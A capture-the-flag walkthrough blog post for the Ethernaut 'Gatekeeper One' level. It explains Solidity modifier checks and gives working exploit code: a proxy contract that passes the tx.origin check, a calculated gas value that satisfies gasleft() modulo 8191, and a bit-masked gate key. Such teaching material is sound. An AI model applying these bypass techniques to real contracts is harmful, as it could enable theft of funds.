CTF walkthrough, Ethernaut, #14 Gatekeeper One
To solve this challenge we must register as an entrant.
CTF walkthrough, Ethernaut, #14 Gatekeeper One
To solve this challenge we must register as an entrant.
[embed]
Analysis & Exploit
function enter(bytes8 _gateKey)
public
gateOne
gateTwo
gateThree(_gateKey)
returns (bool)
{
entrant = tx.origin;
return true;
}
The enter function has 3 modifiers that perform some checks.
The first two modifiers don't take any parameters and the last one expects the bytes8 _gateKey. On success, it assigns tx.origin to entrant and returns true.
For simplicity, I’m going to use console2 from the forge-std and add a few console2.log 's in order to understand through which gates we've passed (we could use a debugger as well):
import "forge-std/console2.sol";
...
modifier gateOne() {
...
console2.log("gate 1");
_;
}
modifier gateTwo() {
...
console2.log("gate 2");
_;
}
modifier gateThree() {
...
console2.log("gate 3");
_;
}
Now, let’s explore these modifiers.
gateOne
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
We’ve already seen this check in the Telephone level. To bypass it we’ll use an intermediate contract:
contract GatekeeperOneExploit {
GatekeeperOne private immutable level;
constructor(GatekeeperOne _level) {
level = _level;
}
function run() public {
level.enter(bytes8(0x0));
}
}
gateTwo
The next one is a bit trickier:
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
To pass through this gate we must satisfy the condition:
require(gasleft() % 8191 == 0).
The % is a modulo operator, which yields a remainder after a division. From the Solidity docs we know that gasleft() returns how much gas is left for the currently running function.
The function
gasleftwas previously known asmsg.gas, which was deprecated in version0.4.21and removed in version0.5.0.
Before Solidity 0.6.2, the recommended way to specify the value and gas was to use
f.value(x).gas(g)(). This was deprecated in Solidity 0.6.2 and is no longer possible since Solidity 0.7.0.
Solidity allows us to specify precisely how much gas we want to use for a specific function. We want to give such an amount of gas to the enter function so that gasleft() % 8191 == 0 expression evaluates to true. Let's try to calculate how much gas it spends just before the call to require:
modifier gateTwo() {
console2.log(gasleft());
require(gasleft() % 8191 == 0);
console2.log("gate 2");
_;
}
For example, let’s give it 100000 gas:
level.enter{gas: 100000}(bytes8(0x0));
And have a look at the trace:
Running 1 test for src/test/GatekeeperOne.t.sol:GatekeeperOneTest [FAIL. Reason: Revert] testGatekeeperOne() (gas: 450050)
Logs:
gate 1
96580
Hm, 96580, let’s see:
Gas_left = Gas_initial − Gas_spent
Gas_spent = 100000 − 96580 = 3420
Gas_left = Gas_initial − 3420
To satisfy Gas_left mod 8191 = 0 we must give it exactly 8191 + Gas_spent = 8191 + 3420 = 11611. Obviously, this amount of gas is not enough, so let’s add a little more: 3420 + 8191 × 100 = 822520. The console2.log(gasleft()) takes 330 gas itself, so we need to remove it from the gateTwo() function, since we don't need it anymore. Thus we passed through the 2nd gate!
gateThree
The following 3 conditions must be satisfied:
uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
uint32(uint64(_gateKey)) != uint64(_gateKey)
uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))
To get through the last one we must have a good understanding of implicit and explicit type conversion rules and bitwise operations in Solidity.
Basically, there are 4 things we need to know:
- If an operator is applied to different types, the compiler tries to implicitly convert one of the operands to the type of the other without loosing information. So generally it converts to a larger type.
- Converting a smaller integer to a larger type will pad it on the left.
- Converting fixed-size bytes types to a smaller type will cut off the sequence.
- Bit masking.
Here is an example key:
function run() public {
bytes8 tail = bytes8(uint64(uint16(uint160(tx.origin))));
bytes8 head = bytes2(0xffff);
bytes8 key = bytes8(head | tail);
level.enter{gas: 11611 + 8191*100}(key);
}
References
- Conversions between Elementary Types from Solidity docs.
- Forge Standart Library Overview.
- Console Logging.
- Solidity Tutorial : all about Bytes.
The complete code is here. Thank you for reading. This post was a bit rushed 🙃. I hope I can get back to it later and explain typecasting and bit manipulation magic in the gateThree. But now let’s move on to the next challenge: CTF walkthrough, Ethernaut, #15 Gatekeeper Two!
Originally published at https://vyorkin.org on August 4, 2022.
메타데이터
- post_id
- be74cb3555c4
- slug
- ctf-walkthrough-ethernaut-14-gatekeeper-one-be74cb3555c4
- url
- https://medium.com/@vyorkin/ctf-walkthrough-ethernaut-14-gatekeeper-one-be74cb3555c4
- canonical_url
- https://medium.com/@vyorkin/ctf-walkthrough-ethernaut-14-gatekeeper-one-be74cb3555c4
- author_url
- https://medium.com/@vyorkin
- status
- ok
- fetched_at
- 2026-07-26 19:34:20